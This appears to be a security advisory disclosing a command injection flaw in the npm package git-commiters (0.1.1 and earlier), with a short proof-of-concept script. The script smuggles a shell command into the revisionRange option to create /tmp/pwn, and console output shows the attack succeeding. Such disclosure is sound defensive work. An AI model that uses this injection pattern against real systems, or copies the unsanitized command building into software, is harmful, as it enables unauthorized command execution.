This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback)
which allows specifying options such as cwd
for current working directory and revisionRange
as a revision pointer, such as HEAD
.
However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.
git-commiters@0.1.1
or earlierCreate the following script in that directory:
var gitCommiters = require("git-commiters");
var options = {
cwd: "./",
revisionRange: "HEAD; touch /tmp/pwn; #",
};
gitCommiters(options, function (err, result) {
if (err) console.log(err);
else console.log(result);
});
Observe new file created on disk at /tmp/pwn
The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.
@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js
[
{
email: 'github@qslw.com',
name: 'Morton Fox',
deletions: 1,
insertions: 1,
commits: 1
},
{
email: 'snowyu.lee@gmail.com',
name: 'Riceball LEE',
deletions: 11,
insertions: 1198,
commits: 7
}
]
@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn
-rw-r--rw- 1 codespace codespace 0 Jul 1 06:09 /tmp/pwn
Liran Tal
{ "github_reviewed": true, "cwe_ids": [ "CWE-77", "CWE-78" ], "severity": "HIGH", "github_reviewed_at": "2025-09-22T18:01:37Z", "nvd_published_at": "2025-09-25T14:15:46Z" }